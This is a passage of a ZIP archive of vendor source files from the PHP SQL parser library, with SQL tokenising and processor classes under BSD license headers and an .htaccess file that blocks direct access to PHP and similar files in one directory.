            // error_log("pos:$pos value:$value sql:$sql");
            
            if ($pos === false) {
                break;
            }

            $before = "";
            if ($pos > 0) {
                $before = $sql[$pos - 1];
            }

            // if we have a quoted string, we every character is allowed after it
            // see issues 137 and 361
            $quotedBefore = in_array($sql[$pos], array('`', '('), true);
            $quotedAfter = in_array($sql[$pos + strlen($value) - 1], array('`', ')'), true);
            $after = "";
            if (isset($sql[$pos + strlen($value)])) {
                $after = $sql[$pos + strlen($value)];
            }

            // if we have an operator, it should be surrounded by
            // whitespace, comma, parenthesis, digit or letter, end_of_string
            // an operator should not be surrounded by another operator

            if (in_array($expr_type,array('operator','column-list'),true)) {

                $ok = ($before === "" || in_array($before, self::$allowedOnOperator, true))
                    || (strtolower($before) >= 'a' && strtolower($before) <= 'z');
                $ok = $ok
                    && ($after === "" || in_array($after, self::$allowedOnOperator, true)
                        || (strtolower($after) >= 'a' && strtolower($after) <= 'z'));

                if (!$ok) {
                    $offset = $pos + 1;
                    continue;
                }

                break;
            }

            // in all other cases we accept
            // whitespace, comma, operators, parenthesis and end_of_string

            $ok = ($before === "" || in_array($before, self::$allowedOnOther, true)
                || ($quotedBefore && (strtolower($before) >= 'a' && strtolower($before) <= 'z')));
            $ok = $ok
                && ($after === "" || in_array($after, self::$allowedOnOther, true)
                    || ($quotedAfter && (strtolower($after) >= 'a' && strtolower($after) <= 'z')));

            if ($ok) {
                break;
            }

            $offset = $pos + 1;
        }

        return $pos;
    }

    protected function lookForBaseExpression($sql, &$charPos, &$parsed, $key, &$backtracking) {
        if (!is_numeric($key)) {
            if (($key === 'UNION' || $key === 'UNION ALL')
                || ($key === 'expr_type' && isset($this->flippedBacktrackingTypes[$parsed]))
                || ($key === 'select-option' && $parsed !== false) || ($key === 'alias' && $parsed !== false)) {
                // we hold the current position and come back after the next base_expr
                // we do this, because the next base_expr contains the complete expression/subquery/record
                // and we have to look into it too
                $backtracking[] = $charPos;

            } elseif (($key === 'ref_clause' || $key === 'columns') && $parsed !== false) {
                // we hold the current position and come back after n base_expr(s)
                // there is an array of sub-elements before (!) the base_expr clause of the current element
                // so we go through the sub-elements and must come at the end
                $backtracking[] = $charPos;
                for ($i = 1; $i < count($parsed); $i++) {
                    $backtracking[] = false; // backtracking only after n base_expr!
                }
            } elseif (($key === 'sub_tree' && $parsed !== false) || ($key === 'options' && $parsed !== false)) {
                // we prevent wrong backtracking on subtrees (too much array_pop())
                // there is an array of sub-elements after(!) the base_expr clause of the current element
                // so we go through the sub-elements and must not come back at the end
                for ($i = 1; $i < count($parsed); $i++) {
                    $backtracking[] = false;
                }
            } elseif (($key === 'TABLE') || ($key === 'create-def' && $parsed !== false)) {
                // do nothing
            } else {
                // move the current pos after the keyword
                // SELECT, WHERE, INSERT etc.
                if (PHPSQLParserConstants::getInstance()->isReserved($key)) {
                    $charPos = stripos($sql, $key, $charPos);
                    $charPos += strlen($key);
                }
            }
        }

        if (!is_array($parsed)) {
            return;
        }

        foreach ($parsed as $key => $value) {
            if ($key === 'base_expr') {

                //$this->printPos("0", $sql, $charPos, $key, $value, $backtracking);

                $subject = substr($sql, $charPos);
                $pos = $this->findPositionWithinString($subject, $value,
                    isset($parsed['expr_type']) ? $parsed['expr_type'] : 'alias');
                if ($pos === false) {
                    throw new UnableToCalculatePositionException($value, $subject);
                }

                $parsed['position'] = $charPos + $pos;
                $charPos += $pos + strlen($value);

                //$this->printPos("1", $sql, $charPos, $key, $value, $backtracking);

                $oldPos = array_pop($backtracking);
                if (isset($oldPos) && $oldPos !== false) {
                    $charPos = $oldPos;
                }

                //$this->printPos("2", $sql, $charPos, $key, $value, $backtracking);

            } else {
                $this->lookForBaseExpression($sql, $charPos, $parsed[$key], $key, $backtracking);
            }
        }
    }
}

?>
PK     \Sʉ      D  vendor/greenlion/php-sql-parser/src/PHPSQLParser/positions/.htaccessnu 7m        <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK     \!Y  Y  A  vendor/greenlion/php-sql-parser/src/PHPSQLParser/PHPSQLParser.phpnu [        <?php

/**
 * PHPSQLParser.php
 *
 * A pure PHP SQL (non validating) parser w/ focus on MySQL dialect of SQL
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 *
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 */

namespace PHPSQLParser;
use PHPSQLParser\positions\PositionCalculator;
use PHPSQLParser\processors\DefaultProcessor;
use PHPSQLParser\utils\PHPSQLParserConstants;

/**
 * This class implements the parser functionality.
 *
 * @author  Justin Swanhart <greenlion@gmail.com>
 * @author  André Rothe <arothe@phosco.info>
 * @license http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 */
class PHPSQLParser {

    public $parsed;

    /**
     * @var Options
     */
    private $options;

    /**
     * Constructor. It simply calls the parse() function.
     * Use the public variable $parsed to get the output.
     *
     * @param String|bool  $sql           The SQL statement.
     * @param bool $calcPositions True, if the output should contain [position], false otherwise.
     * @param array $options
     */
    public function __construct($sql = false, $calcPositions = false, array $options = array()) {
        $this->options = new Options($options);

        if ($sql) {
            $this->parse($sql, $calcPositions);
        }
    }

    /**
     * It parses the given SQL statement and generates a detailled
     * output array for every part of the statement. The method can
     * also generate [position] fields within the output, which hold
     * the character position for every statement part. The calculation
     * of the positions needs some time, if you don't need positions in
     * your application, set the parameter to false.
     *
     * @param String  $sql           The SQL statement.
     * @param boolean $calcPositions True, if the output should contain [position], false otherwise.
     *
     * @return array An associative array with all meta information about the SQL statement.
     */
    public function parse($sql, $calcPositions = false) {

        $processor = new DefaultProcessor($this->options);
        $queries = $processor->process($sql);

        // calc the positions of some important tokens
        if ($calcPositions) {
            $calculator = new PositionCalculator();
            $queries = $calculator->setPositionsWithinSQL($sql, $queries);
        }

        // store the parsed queries
        $this->parsed = $queries;
        return $this->parsed;
    }

    /**
     * Add a custom function to the parser.  no return value
     *
     * @param String $token The name of the function to add
     *
     * @return null
     */
    public function addCustomFunction($token) {
        PHPSQLParserConstants::getInstance()->addCustomFunction($token);
    }

    /**
     * Remove a custom function from the parser.  no return value
     *
     * @param String $token The name of the function to remove
     *
     * @return null
     */
    public function removeCustomFunction($token) {
        PHPSQLParserConstants::getInstance()->removeCustomFunction($token);
    }

    /**
     * Returns the list of custom functions
     *
     * @return array Returns an array of all custom functions
     */
    public function getCustomFunctions() {
        return PHPSQLParserConstants::getInstance()->getCustomFunctions();
    }
}
?>
PK     \ͥe  e  X  vendor/greenlion/php-sql-parser/src/PHPSQLParser/processors/IndexColumnListProcessor.phpnu [        <?php
/**
 * IndexColumnListProcessor.php
 *
 * This file implements the processor for index column lists.
 *
 * Copyright (c) 2010-2012, Justin Swanhart
 * with contributions by André Rothe <arothe@phosco.info, phosco@gmx.de>
 *
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification,
 * are permitted provided that the following conditions are met:
 *
 *   * Redistributions of source code must retain the above copyright notice,
 *     this list of conditions and the following disclaimer.
 *   * Redistributions in binary form must reproduce the above copyright notice,
 *     this list of conditions and the following disclaimer in the documentation
 *     and/or other materials provided with the distribution.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY
 * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT
 * SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED
 * TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR
 * BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
 * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN
 * ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH
 * DAMAGE.
 */

namespace PHPSQLParser\processors;
use PHPSQLParser\utils\ExpressionType;

/**
 * 
 * This class processes the index column lists.
 * 
 * @author arothe
 * 
 */
class IndexColumnListProcessor extends AbstractProcessor {

    protected function initExpression() {
        return array('name' => false, 'no_quotes' => false, 'length' => false, 'dir' => false);
    }

    public function process($sql) {
        $tokens = $this->splitSQLIntoTokens($sql);

        $expr = $this->initExpression();
        $result = array();
        $base_expr = "";

        foreach ($tokens as $k => $token) {

            $trim = trim($token);
            $base_expr .= $token;

            if ($trim === "") {
                continue;
            }

            $upper = strtoupper($trim);

            switch ($upper) {

            case 'ASC':
            case 'DESC':
            # the optional order
                $expr['dir'] = $trim;
                break;

            case ',':
            # the next column
                $result[] = array_merge(array('expr_type' => ExpressionType::INDEX_COLUMN, 'base_expr' => $base_expr),
                        $expr);
                $expr = $this->initExpression();
                $base_expr = "";
                break;

            default:
                if ($upper[0] === '(' && substr($upper, -1) === ')') {
                    # the optional length
                    $expr['length'] = $this->removeParenthesisFromStart($trim);
                    continue 2;
                }
                # the col name
                $expr['name'] = $trim;
                $expr['no_quotes'] = $this->revokeQuotation($trim);
                break;
            }
        }
        $result[] = array_merge(array('expr_type' => ExpressionType::INDEX_COLUMN, 'base_expr' => $base_expr), $expr);
        return $result;
    }
}
?>PK     \F]  ]  S  vendor/greenlion/php-sql-parser/src/PHPSQLParser/processors/ColumnListProcessor.phpnu [        <?php
/**
 * ColumnListProcessor.php
 *
 * This file implements the processor for column lists like in INSERT statements.
 *
 * Copyright (c) 2010-2012, Justin Swanhart
 * with contributions by André Rothe <arothe@phosco.info, phosco@gmx.de>
 *
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification,
 * are permitted provided that the following conditions are met:
 *
 *   * Redistributions of source code must retain the above copyright notice,
 *     this list of conditions and the following disclaimer.
 *   * Redistributions in binary form must reproduce the above copyright notice,
 *     this list of conditions and the following disclaimer in the documentation
 *     and/or other materials provided with the distribution.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY
 * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT
 * SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED
 * TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR
 * BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
 * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN
 * ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH
 * DAMAGE.
 */

namespace PHPSQLParser\processors;
use PHPSQLParser\utils\ExpressionType;

/**
 * 
 * This class processes column-lists.
 * 
 * @author arothe
 * 
 */
class ColumnListProcessor extends AbstractProcessor {

    public function process($tokens) {
        $columns = explode(",", $tokens);
        $cols = array();
        foreach ($columns as $k => $v) {
            $cols[] = array('expr_type' => ExpressionType::COLREF, 'base_expr' => trim($v),
                            'no_quotes' => $this->revokeQuotation($v));
        }
        return $cols;
    }
}
?>PK     \	    O  vendor/greenlion/php-sql-parser/src/PHPSQLParser/processors/CreateProcessor.phpnu [        <?php
/**
 * CreateProcessor.php
 *
 * This file implements the processor for the CREATE statements.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 *
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 *
 */

namespace PHPSQLParser\processors;
use PHPSQLParser\utils\ExpressionType;

/**
 * This class processes the CREATE statements.
 *
 * @author  André Rothe <andre.rothe@phosco.info>
 * @license http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 *
 */
class CreateProcessor extends AbstractProcessor {

    public function process($tokens) {
        $result = $expr = array();
        $base_expr = "";

        foreach ($tokens as $token) {
            
            $trim = trim($token);
            $base_expr .= $token;

            if ($trim === "") {
                continue;
            }

            $upper = strtoupper($trim);
            switch ($upper) {

            case 'TEMPORARY':
                // CREATE TEMPORARY TABLE
                $result['expr_type'] = ExpressionType::TEMPORARY_TABLE;
                $result['not-exists'] = false;
                $expr[] = array('expr_type' => ExpressionType::RESERVED, 'base_expr' => $trim);
                break;

            case 'TABLE':
                // CREATE TABLE
                $result['expr_type'] = ExpressionType::TABLE;
                $result['not-exists'] = false;
                $expr[] = array('expr_type' => ExpressionType::RESERVED, 'base_expr' => $trim);
                break;

            case 'INDEX':
                // CREATE INDEX
                $result['expr_type'] = ExpressionType::INDEX;
                $expr[] = array('expr_type' => ExpressionType::RESERVED, 'base_expr' => $trim);
                break;

            case 'UNIQUE':
            case 'FULLTEXT':
            case 'SPATIAL':
                // options of CREATE INDEX
                $result['base_expr'] = $result['expr_type'] = false;
                $result['constraint'] = $upper; 
                $expr[] = array('expr_type' => ExpressionType::RESERVED, 'base_expr' => $trim);
                break;                
                                
            case 'IF':
                // option of CREATE TABLE
                $expr[] = array('expr_type' => ExpressionType::RESERVED, 'base_expr' => $trim);
                break;

            case 'NOT':
                // option of CREATE TABLE
                $expr[] = array('expr_type' => ExpressionType::RESERVED, 'base_expr' => $trim);
                break;

            case 'EXISTS':
                // option of CREATE TABLE
                $result['not-exists'] = true;
                $expr[] = array('expr_type' => ExpressionType::RESERVED, 'base_expr' => $trim);
                break;

            default:
                break;
            }
        }
        $result['base_expr'] = trim($base_expr);
        $result['sub_tree'] = $expr;
        return $result;
    }
}
?>PK     \xD    N  vendor/greenlion/php-sql-parser/src/PHPSQLParser/processors/LimitProcessor.phpnu [        <?php
/**
 * LimitProcessor.php
 *
 * This file implements the processor for the LIMIT statements.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 *
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 *
 */

namespace PHPSQLParser\processors;

/**
 * This class processes the LIMIT statements.
 * 
 * @author  André Rothe <andre.rothe@phosco.info>
 * @license http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * 
 */
class LimitProcessor extends AbstractProcessor {

    public function process($tokens) {
        $rowcount = "";
        $offset = "";

        $comma = -1;
        $exchange = false;
        
        $comments = array();
        
        foreach ($tokens as &$token) {
            if ($this->isCommentToken($token)) {
                 $comments[] = parent::processComment($token);
                 $token = '';
            }
        }
        
        for ($i = 0; $i < count($tokens); ++$i) {
            $trim = strtoupper(trim($tokens[$i]));
            if ($trim === ",") {
                $comma = $i;
                break;
            }
            if ($trim === "OFFSET") {
                $comma = $i;
                $exchange = true;
                break;
            }
        }

        for ($i = 0; $i < $comma; ++$i) {
            if ($exchange) {
                $rowcount .= $tokens[$i];
            } else {
                $offset .= $tokens[$i];
            }
        }

        for ($i = $comma + 1; $i < count($tokens); ++$i) {
            if ($exchange) {
                $offset .= $tokens[$i];
            } else {
                $rowcount .= $tokens[$i];
            }
        }

        $return = array('offset' => trim($offset), 'rowcount' => trim($rowcount));
        if (count($comments)) {
            $return['comments'] = $comments;
        }
        return $return;
    }
}
?>
PK     \ϼ*    P  vendor/greenlion/php-sql-parser/src/PHPSQLParser/processors/ReplaceProcessor.phpnu [        <?php
/**
 * ReplaceProcessor.php
 *
 * This file implements the processor for the REPLACE statements. 
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 *
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 *
 */

namespace PHPSQLParser\processors;

/**
 * This class processes the REPLACE statements.
 *
 * @author  André Rothe <andre.rothe@phosco.info>
 * @license http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 *  
 */
class ReplaceProcessor extends InsertProcessor {

    public function process($tokenList, $token_category = 'REPLACE') {
        return parent::process($tokenList, $token_category);
    }

}
?>
PK     \3_1
  
  O  vendor/greenlion/php-sql-parser/src/PHPSQLParser/processors/RecordProcessor.phpnu [        <?php
/**
 * RecordProcessor.php
 *
 * This file implements a processor, which processes records of data
 * for an INSERT statement.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 *
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 *
 */

namespace PHPSQLParser\processors;

/**
 * This class processes records of an INSERT statement.
 *
 * @author  André Rothe <andre.rothe@phosco.info>
 * @license http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 *
 */
class RecordProcessor extends AbstractProcessor {

    protected function processExpressionList($unparsed) {
        $processor = new ExpressionListProcessor($this->options);
        return $processor->process($unparsed);
    }

    public function process($unparsed) {
        $unparsed = $this->removeParenthesisFromStart($unparsed);
        $values = $this->splitSQLIntoTokens($unparsed);

        foreach ($values as $k => $v) {
            if ($this->isCommaToken($v)) {
                $values[$k] = "";
            }
        }
        return $this->processExpressionList($values);
    }
}
?>
PK     \ D    M  vendor/greenlion/php-sql-parser/src/PHPSQLParser/processors/IntoProcessor.phpnu [        <?php
/**
 * IntoProcessor.php
 *
 * This file implements the processor for the INTO statements.
 *
 * Copyright (c) 2010-2012, Justin Swanhart
 * with contributions by André Rothe <arothe@phosco.info, phosco@gmx.de>
 *
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification,
 * are permitted provided that the following conditions are met:
 *
 *   * Redistributions of source code must retain the above copyright notice,
 *     this list of conditions and the following disclaimer.
 *   * Redistributions in binary form must reproduce the above copyright notice,
 *     this list of conditions and the following disclaimer in the documentation
 *     and/or other materials provided with the distribution.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY
 * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT
 * SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED
 * TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR
 * BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
 * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN
 * ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH
 * DAMAGE.
 */

namespace PHPSQLParser\processors;

/**
 * 
 * This class processes the INTO statements.
 * 
 * @author arothe
 * 
 */
class IntoProcessor extends AbstractProcessor {

    /**
     * TODO: This is a dummy function, we cannot parse INTO as part of SELECT
     * at the moment
     */
    public function process($tokenList) {
        $unparsed = $tokenList['INTO'];
        foreach ($unparsed as $k => $token) {
            if ($this->isWhitespaceToken($token) || $this->isCommaToken($token)) {
                unset($unparsed[$k]);
            }
        }
        $tokenList['INTO'] = array_values($unparsed);
        return $tokenList;
    }
}
?>
PK     \Uz&  &  _  vendor/greenlion/php-sql-parser/src/PHPSQLParser/processors/SubpartitionDefinitionProcessor.phpnu [        <?php
/**
 * SubpartitionDefinitionProcessor.php
 *
 * This file implements the processor for the SUBPARTITION statements 
 * within CREATE TABLE.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
